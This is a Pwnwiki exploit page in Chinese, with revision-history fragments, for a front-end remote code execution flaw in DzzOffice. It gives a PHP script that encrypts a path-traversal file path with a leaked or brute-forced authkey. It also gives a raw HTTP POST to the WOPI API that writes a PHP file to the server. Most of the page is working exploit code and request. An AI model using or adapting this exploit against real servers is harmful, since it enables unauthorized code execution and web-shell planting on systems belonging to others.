Pwnwiki: Created page with "==利用前提== 首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章我現在的環境的key為：3090dfHwzmw9lsC3..."

2021-04-14T08:15:40Z

Created page with "==利用前提== 首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章我現在的環境的key為：3090dfHwzmw9lsC3..."

New page

==利用前提==
首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章

我現在的環境的key為：3090dfHwzmw9lsC3

==加密腳本==
<pre>
<?php
function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));

</pre>

==Payload==
<pre>
POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1
Host: word.com
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://word.com
Referer: http://word.com/user.php?mod=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?php phpinfo();?>
</pre>

Dzzoffice 前台RCE漏洞 - Revision history

Pwnwiki: Created page with "==利用前提== 首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章 我現在的環境的key為：3090dfHwzmw9lsC3..."

Pwnwiki: Created page with "==利用前提== 首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章我現在的環境的key為：3090dfHwzmw9lsC3..."